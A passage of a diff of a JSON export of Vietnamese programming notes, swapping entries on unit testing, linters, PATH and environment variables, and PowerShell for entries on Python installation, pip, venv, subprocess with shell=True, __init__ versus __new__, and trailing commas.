trình quản lý package của Python]]. [[Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác]]. \n\n![Which Python Package Manager Should You Use? - YouTube](https://youtu.be/3J02sec99RM)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Up" + "Ngày cập nhật": "2024-08-19T05:35:00.000Z", + "id": "YX" }, { - "Tiêu đề": "Unit test", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Test/Unit test", + "Tiêu đề": "Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Unit test](https://youtu.be/tIrcxwLqzjQ)\r\n![Unit Testing - Hướng dẫn viết trong Javascript 🎉 - YouTube](https://www.youtube.com/watch?v=i4P4x7dIfCs)\r\n![Unit testing in JavaScript Part 1 - Why unit testing? - YouTube](https://www.youtube.com/watch?v=Eu35xM76kKY)", + "Toàn bộ nội dung": "Vào Settings, kiếm `python.terminal.executeInFileDir`:\r\n![](https://i.imgur.com/9JZzZRp.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uq" + "id": "YY" }, { - "Tiêu đề": "Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Prettier là để làm cho dễ nhìn. Linter là để hạn chế dính bug khi dự án mở rộng", + "Tiêu đề": "Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Prettier vs. Linters · Prettier](https://prettier.io/docs/en/comparison.html)\r\n![Josh Goldberg - Setting Up ESLint and TypeScript for React - YouTube](https://youtu.be/sSJBeWPIipQ?si=agr41wAipsnr7CoD)\r\n\r\nLinter của Deno: [deno\\_lint docs](https://lint.deno.land/)\r\n[deno fmt, code formatting | Deno Docs](https://docs.deno.com/runtime/manual/tools/formatter)", + "Toàn bộ nội dung": "[The full installer](https://docs.python.org/3/using/windows.html#windows-full) contains all components and is the best option for developers using Python for any kind of project.\r\n\r\n[The Microsoft Store package](https://docs.python.org/3/using/windows.html#windows-store) is a simple installation of Python that is suitable for running scripts and packages, and using IDLE or other development environments. It requires Windows 10 and above, but can be safely installed without corrupting other programs. It also provides many convenient commands for launching Python and its tools.\r\n\r\n[The nuget.org packages](https://docs.python.org/3/using/windows.html#windows-nuget) are lightweight installations intended for continuous integration systems. It can be used to build Python packages or run scripts, but is not updateable and has no user interface tools.\r\n\r\n[The embeddable package](https://docs.python.org/3/using/windows.html#windows-embeddable) is a minimal package of Python suitable for embedding into a larger application.\r\n\r\nNguồn:: [4. Using Python on Windows — Python 3.11.3 documentation](https://docs.python.org/3/using/windows.html)\r\n\r\n[[py là chương trình hỗ trợ việc quản lý phiên bản trên Windows]]. `py -0` không tìm thấy được tập tin nhị phân của phiên bản cài từ Microsoft Store\r\n[Why does py not recognize all Python versions?](https://stackoverflow.com/q/76388331/3416774)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ur" + "id": "YZ" }, { - "Tiêu đề": "Admin privilege", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Admin privilege", + "Tiêu đề": "pip là chương trình quản lý package của Python", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/pip là chương trình quản lý package của Python", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "Tương tự, [[npm là chương trình quản lý package cho Node.js]] \n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\n\nTa cài module trong Python bằng cách mở [[Terminal là cái chương trình để làm việc với shell|terminal]] lên và nhập \n\n```python\npip install tên_module\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Us" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-19T07:48:00.000Z", + "id": "Ya" }, { - "Tiêu đề": "Bạn không cần dùng GUI", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Bạn không cần dùng GUI", + "Tiêu đề": "py là chương trình hỗ trợ việc quản lý phiên bản trên Windows", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/py là chương trình hỗ trợ việc quản lý phiên bản trên Windows", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[GitHub - you-dont-need/You-Dont-Need-GUI: Stop relying on GUI; CLI \\*\\*ROCKS\\*\\*](https://github.com/you-dont-need/You-Dont-Need-GUI)\r\nNguồn:: ", + "Toàn bộ nội dung": "py chỉ chạy trên Windows, không có ở HĐH khác\n\n![](https://youtu.be/aBOdC5CrL1s?si=LCeRRVV7EtOYfLaf) \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ut" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-19T05:35:00.000Z", + "id": "Yb" }, { - "Tiêu đề": "Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn", + "Tiêu đề": "venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Biến môi trường tiếng Anh là *environmental variable*. Viết tắt là `env`\r\n![What are Environment Variables, and how do I use them? (get,set) - YouTube](https://youtu.be/ADh_OFBfdEE?si=U30Tg6HS8hvzgCcv)\r\nTrong [[PowerShell là một ngôn ngữ shell|PowerShell]] dùng lệnh này để liệt kê tất cả các env:\r\n```PowerShell\r\nget-childitem env:\r\n```\r\n[[env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại]]", + "Toàn bộ nội dung": "![Tạo Môi trường ảo trong Python với Conda | PYTHON TIPs and TRICKs - YouTube](https://youtu.be/R04snR6jl1s)\r\n[[venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản]] \r\n\r\n![Hướng dẫn Tạo Virtual Environment trong Python - YouTube](https://youtu.be/jOUUqDGogAo)\r\n\r\n![](https://explainxkcd.com/wiki/images/c/cb/python_environment.png) \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uu" + "id": "Yc" }, { - "Tiêu đề": "Dùng absolute path cho lành", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Dùng absolute path cho lành", + "Tiêu đề": "Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết]]\r\n```ts\r\nimport * as path from \"$std/path/mod.ts\";\r\nconst thưMụcHiệnTại = path.dirname(path.fromFileUrl(import.meta.url))\r\nconst danhSáchNơiĐăng = Deno.readTextFileSync(thưMụcHiệnTại+'/Nơi đăng.yaml')\r\n```", + "Toàn bộ nội dung": "Để xem có những phiên bản nào được cài\r\n```\r\npy --list\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-05T07:38:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uv" + "id": "Yd" }, { - "Tiêu đề": "env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/env của người dùng được ưu tiên hơn env của hệ thống. Nhưng với biến path thì ngược lại", + "Tiêu đề": "Python", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Biến môi trường giúp ta điền những giá trị lặp đi lặp lại nhanh hơn]]\r\nNguồn:: [windows - User vs. System Environment Variables: Do System Variables Override User Variables? - Super User](https://superuser.com/a/878382/301042)", + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[5]\r\n```\r\n![Transforming Code into Beautiful, Idiomatic Python - YouTube](https://youtu.be/OSGv2VnC0go?si=rFkJawTXPhVZdgXG)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-12-19T15:34:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uw" + "id": "Ye" }, { - "Tiêu đề": "PATH là đường dẫn mặc định tới những tập tin nhị phân (binary)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/PATH là đường dẫn mặc định tới những tập tin nhị phân (binary)", + "Tiêu đề": "shell=True cần cho", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/shell=True cần cho", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "I want to call a another script from a Python script, and the shell running it is either PowerShell on Windows, or Bash on Ubuntu. How should I construct such a code?\r\n\r\n# Attempt 1: Using a simple `ls` command\r\n\r\nThe code running for Bash is:\r\n```python\r\ncommand = 'ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\nAnd the code running for PowerShell is:\r\n```python \r\ncommand = 'pwsh -c ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\n\r\nTherefore I come up with this script that runs successfully in both shells:\r\n```python\r\npproc_name = psutil.Process(os.getppid()).name()\r\nis_power_shell = bool(re.fullmatch('pwsh|pwsh.exe|powershell.exe', pproc_name))\r\n\r\nif is_power_shell:\r\n env = 'pwsh -c '\r\nelse:\r\n env = ''\r\n\r\ncommand = env + 'ls'\r\nsubprocess.Popen(command).wait() \r\n```\r\n<sub>Code from https://stackoverflow.com/a/55598796/3416774</sub>\r\n\r\n# Attempt 2: Using my real case command\r\nThis works on PowerShell:\r\n```python\r\nimport os, psutil, subprocess, re\r\n\r\npproc_name = psutil.Process(os.getppid()).name()\r\nis_power_shell = bool(re.fullmatch('pwsh|pwsh.exe|powershell.exe', pproc_name))\r\n\r\nif is_power_shell:\r\n env = 'pwsh -c '\r\nelse:\r\n env = ''\r\n\r\ncommand = env + 'deno run --allow-all main.ts'\r\nsubprocess.Popen(command).wait()\r\n```\r\n\r\nHowever it gives this error on Bash:\r\n```python\r\nTraceback (most recent call last):\r\n File \"/home/test.py\", line 12, in <module>\r\n subprocess.Popen(command).wait() \r\n File \"/usr/lib/python3.10/subprocess.py\", line 969, in __init__\r\n self._execute_child(args, executable, preexec_fn, close_fds,\r\n File \"/usr/lib/python3.10/subprocess.py\", line 1845, in _execute_child\r\n raise child_exception_type(errno_num, err_msg, err_filename)\r\nFileNotFoundError: [Errno 2] No such file or directory: 'deno run --allow-all main.ts'\r\n```\r\n\r\nTo fix this I have to add `shell=True` to the subprocess function.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ux" + "id": "Yf" }, { - "Tiêu đề": "pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)", + "Tiêu đề": "Tuple là mảng nhưng không thay đổi được số lượng phần tử", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Tuple là mảng nhưng không thay đổi được số lượng phần tử", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ở Node, `process.env.PWD` **không** tồn tại trên Windows\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [process.env.PWD vs process.cwd()](https://stackoverflow.com/a/31436403/3416774)\r\n\r\n[[Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết]]", + "Toàn bộ nội dung": "Tiện cho trình bày dữ liệu dạng csv, nhưng nếu dùng dạng vật thể được thì vẫn tốt hơn\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uy" + "id": "Yg" }, { - "Tiêu đề": "Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Path, env/Đường dẫn đến tệp ngoài trong một script phụ thuộc vào cwd, không phải đường dẫn tới script mình đang viết", + "Tiêu đề": "__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/__init__() chỉ tạo giá trị cho lớp. __new__() mới thực sự là hàm tạo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Đường dẫn trong launch.json là cwd]] \r\nVí dụ `script.ts` này gọi đến `file.txt`:\r\n```ts\r\nconst đườngDẫnTươngĐối = '../file.txt'\r\nconst nộiDungFile = await Deno.readTextFile(đườngDẫnTươngĐối)\r\nconsole.log(nộiDungFile)\r\n```\r\nTa sẽ chia ra hai trường hợp:\r\n## 1. `file.txt` nằm ngoài folder (trong `.`) :\r\n```\r\n. \r\n├── file.txt \r\n└── folder/ \r\n\t└── script.ts\r\n```\r\n## 2. `file.txt` nằm trong folder (trong `./folder`):\r\n```\r\n. \r\n└── folder/ \r\n\t├── script.ts \r\n\t└── file.txt\r\n```\r\n[[pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)]]\r\n\r\n| Vị trí của `file.txt` | Đường dẫn đến `file.txt` trong `script.ts` | PWD và lệnh chạy `script.ts` ở terminal | Kết quả |\r\n| --------------------- | ------------------------------------------ | ------------------------------------------- | ------- |\r\n| `./folder` | `./file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ✔ |\r\n| `.` | `../file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ✔ |\r\n| `.` | `./file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ✔ |\r\n| `.` | `./file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ❌ |\r\n| `.` | `../file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n| `./folder` | `./file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n| `./folder` | `../file.txt` | Ở `./folder` chạy `deno run -A ./script.ts` | ❌ |\r\n| `./folder` | `../file.txt` | Ở `.` chạy `deno run -A ./folder/script.ts` | ❌ |\r\n\r\nChính vì như vậy, nên [[Dùng absolute path cho lành]]", + "Toàn bộ nội dung": "Hãy xem lại hàm `__init__()` mà chúng ta đã xây dựng trong ví dụ đầu tiên:\r\n\r\n```python\r\ndef __init__(self, \r\n title: str,\r\n authors: str = '',\r\n publisher: str = '',\r\n year: int = 2020,\r\n edition: int = 1):\r\n \"\"\"Hàm tạo của class\"\"\"\r\n self.title = title\r\n self.authors = authors\r\n self.publisher = publisher\r\n self.year = year\r\n self.edition = edition\r\n self.__private = True\r\n Book.count += 1\r\n```\r\n`__init__()` là một hàm đặc biệt trong Python: hàm tạo (constructor).\r\n\r\nVề mặt hình thức `__init__()` hoàn toàn tương tự như một lệnh khai báo [hàm trong Python](https://tuhocict.com/function-ham-trong-python/). Hàm `__init__()` ở trên nhận các tham số title, authors, publisher, year và edition. Chúng ta cũng sử dụng kỹ thuật chỉ báo kiểu (type hint) và cung cấp giá trị mặc định cho các tham số.\r\n\r\nConstructor trong Python bắt buộc phải có tên là `__init__` và phải có ít nhất một tham số, thường đặt tên là `self`. Nếu có nhiều tham số, `self` bắt buộc phải là tham số đầu tiên.\r\n\r\nTên gọi tham số `self` được đặt theo quy ước của Python chứ không bắt buộc. Bạn có thể đặt bất kỳ tên gọi nào khác. Những bạn có xuất phải điểm là C++ hay C# thường có xu hướng đặt là this.\r\n\r\n\r\n> [!NOTE]- Constructor và Initializer\r\n> Nói một cách chính xác, `__init__()` không phải là constructor theo nghĩa đen của khái niệm này trong lập trình hướng đối tượng. Hàm `__init__()` là một initializer – hàm chịu trách nhiệm khởi tạo các giá trị cho object. Initializer không chịu trách nhiệm khởi tạo object.\r\n> \r\n> Trong Python, hàm `__init__()` không chịu trách nhiệm tạo ra object của class. Python sử dụng một ‘magic method’ có tên gọi là `__new__()` để tạo object của mỗi class.\r\n> \r\n> Magic method là một số phương thức được Python tự động tạo cùng với class và được Python gọi tự động nhằm thực hiện những công việc đặc biệt.\r\n> \r\n> `__new__()` mới thực sự là constructor của Python class.\r\n> \r\n> Ví dụ, khi gặp lệnh tạo object `b = book()` thì Python sẽ tự động chạy hàm `__new__()` đầu tiên. Kết quả của hàm `__new__()` là object của class book. Sau đó Python tiếp tục tự động chạy `__init__()`. Object do `__new__()` tạo ra được truyền sang cho `__init__()` thông qua tham số đầu tiên (self) trong danh sách.\r\n> \r\n> Vì lý do này, bạn có thể đặt bất kỳ tên gì cho self cũng được nhưng phải để nó ở đầu danh sách tham số.\r\n> \r\nVai trò quan trọng hàng đầu của hàm tạo trong Python là tạo và gán giá trị cho instance attribute. Tất cả các tham số còn lại trong danh sách tham số của `__init__()` cung cấp giá trị để tạo ra instance attribute cho object.\r\n\r\nVới hàm tạo như trên, bạn có thể tạo object của class Book bằng những cách sau:\r\n\r\n```python\r\nb1 = Book('Lập trình hướng đối tượng với Python', 'Nhật Linh', 'Tự học ICT', 2022, 2)\r\nb2 = Book(title = 'Nhập môn lập trình Python', authors= 'Nhật linh', publisher= 'Tự học ICT')\r\nb3 = Book('A new book')\r\n```\r\n\r\nDễ thấy rằng, lệnh tạo object bằng hàm tạo không khác biệt gì so với lời gọi hàm thông thường.\r\n\r\nNguồn:: [[tuhocict]], [Giới thiệu chung về class trong Python, constructor | Tự học ICT](https://tuhocict.com/class-trong-python-khai-niem-khai-bao/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-26T14:52:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uz" + "id": "Yh" }, { - "Tiêu đề": "Sự khác biệt giữa Windows và Android, Mac trong tên file", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Sự khác biệt giữa Windows và Android, Mac trong tên file", + "Tiêu đề": "__init__.py nói cho Python biết folder chứa nó là một package", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/__init__.py nói cho Python biết folder chứa nó là một package", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Yếu tố | Windows | Android, Mac (bản chất là Linux) |\n| ----------------------------------------------- | ------------------------------------ | -------------------------------- |\n| Chữ hoa/thường | Không phân biệt | Phân biệt |\n| Dấu cách ` ` hoặc dấu chấm `.` ở cuối tên file | Không được sử dụng: sẽ tự động bị bỏ | Không bị bỏ |\n| Ký tự đặc biệt: `<>:\"\\|?*` | Không được sử dụng: sẽ báo lỗi | Được sử dụng |\n| Ký tự đặc biệt: `/` | Không được sử dụng: sẽ báo lỗi | Không được sử dụng |\n\nNguồn:: [[Stack Overflow]], [What characters are forbidden in Windows and Linux directory names?](https://stackoverflow.com/q/1976007/3416774)\n\n[[Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII]]\n", + "Toàn bộ nội dung": "[[Package và library là những cái tên khác nhau cho cùng một thứ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-31T13:55:00.000Z", - "id": "U-" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Yi" }, { - "Tiêu đề": "cmd vẫn được dùng để chạy exe", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/cmd vẫn được dùng để chạy exe", + "Tiêu đề": "Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\n", + "Toàn bộ nội dung": "JS map or object, Python dictionary, PHP associative array, Perl hash, Common Lisp hash table\r\n\r\nProgramming languages intended for mathematicians should use the jargon of mathematics; we'd expect \"map\" in the sense of \"function\" to be in their vocabulary. A line-of-business programmer, particularly one who came to programming through business rather than academia, is more likely to think of a map as being a plot of terrain used for navigation, so a line-of-business language ought to use a less jargon-laden term such as \"lookup\" or \"dictionary\".\r\n\r\n\"Dictionary\" might be _too_ specific though; we think of dictionaries as being functions from words to definitions, or more generally text to text, but dictionaries are often generalized key-value stores. \"Keyed store\" though seems to again be jargony. Design is the art of finding good compromises between many design goals. It takes judgment, and opinions will differ from designer to designer.\r\nNguồn:: [What is the difference between JS's map and Python's dictionary?](https://langdev.stackexchange.com/q/3562/223)\r\n[[Map trong JS tương đương với dictionary trong Python]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U_" + "id": "Yj" }, { - "Tiêu đề": "cmdlet dùng định dạng Verb-Noun", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/PowerShell/cmdlet dùng định dạng Verb-Noun", + "Tiêu đề": "Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Nên để dư một dấu phẩy ở phần tử cuối cùng khi tạo vật thể hoặc mảng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "cmdlet dùng định dạng Verb-Noun (động từ - danh từ) như trong Get-Service, Stop-Service, hay Import-Csv. Phần động từ trong tên của cmdlet sẽ chỉ ra hành động được thực hiện trên danh từ. Thông thường, các cmdlet được sử dụng để lấy thông tin sẽ có động từ **Get** (lấy) trong tên, ví dụ như **Get-Process** hay **Get-Content**. Lệnh sử dụng để chỉnh sửa cái gì đó thường bắt đầu với động từ **Set**, để thêm thực thể mới vào đâu đó thì thường bắt đầu với **Add** hoặc **New**.\r\n\r\nNguồn:: [PowerShell và mọi điều bạn cần biết về tiện ích này - QuanTriMang.com](https://quantrimang.com/gioi-thieu-ve-powershell-37928)\r\n", + "Toàn bộ nội dung": "## Trailing comma là gì? Tại sao nó từng là lỗi trong JavaScript?\r\n\r\nTrailing comma (dấu phẩy đuôi, dấu phẩy cuối) là việc để dư **một dấu phẩy** sau phần tử cuối cùng ở cuối một danh sách (có thể là phần tử trong Array literal, property trong Object literal, tham số của hàm…). Ví dụ:\r\n\r\n```\r\n// trailing comma trong Array literal\r\nvar categories = ['men', 'women', 'accessories']\r\n// trailing comma trong Object literal\r\nvar person = {\r\n name: 'Harry Potter',\r\n gender: 'male',\r\n house: 'Gryffindor',\r\n}\r\n// trailing comma trong tham số của hàm (và trong lời gọi hàm)\r\nfunction compare(param1, param2) {\r\n /* ... */\r\n}\r\n```\r\n\r\nNhư bạn thấy, dấu phẩy vốn để ngăn cách **giữa** các phần tử trong một danh sách, và dấu phẩy cuối là dư thừa về mặt cú pháp. Để dễ hình dung hơn, ví dụ mảng ở trên nếu viết trên cùng một dòng sẽ là `var categories = ['men', 'women', 'accessories',]`. Trong thực tế, với các trình duyệt cũ chỉ hỗ trợ [ECMAScript 3](https://int3ractive.com/2019/01/nhung-dieu-can-biet-ve-ecmascript.html) trở về trước (IE8), trailing comma sẽ gây ra lỗi cú pháp lúc chạy.\r\n\r\n![](https://res.cloudinary.com/duqeezi8j/image/upload/f_auto/v1557078885/trailing-comma-ie8-error_ulcpmq.jpg) _Trailing comma gây ra lỗi cú pháp lúc chạy trên IE8. Hình screenshot lấy từ [StackOverflow](https://stackoverflow.com/questions/17490014/website-causes-script-error-in-ie8)._\r\n\r\nTuy nhiên, kể từ ECMAScript 5, trailing comma được chấp nhận cho danh sách phần tử Array và Object property. Việc lấy số phần tử (`array.length`) vẫn đúng với Array có trailing comma.\r\n\r\n## Tại sao trailing comma trở thành best practice?\r\n\r\n### 1. Phần tử khi thêm vào cuối sẽ luôn đồng nhất và tách bạch\r\n\r\nKhi không dùng trailing comma, việc thêm phần tử vào cuối danh sách sẽ gây ảnh hưởng đến phần tử kế cuối vừa được thêm dấu phẩy và commit log của bạn sẽ như thế này:\r\n\r\n```\r\n var categories = [\r\n 'men',\r\n 'women',\r\n```\r\n\r\n```\r\n 'accessories'\r\n```\r\n\r\n```\r\n 'accessories',\r\n```\r\n\r\n```\r\n 'children'\r\n ];\r\n```\r\n\r\nKhi có trailing comma, commit log của bạn sẽ chỉ hiển thị phần thay đổi:\r\n\r\n```\r\n var categories = [\r\n 'men',\r\n 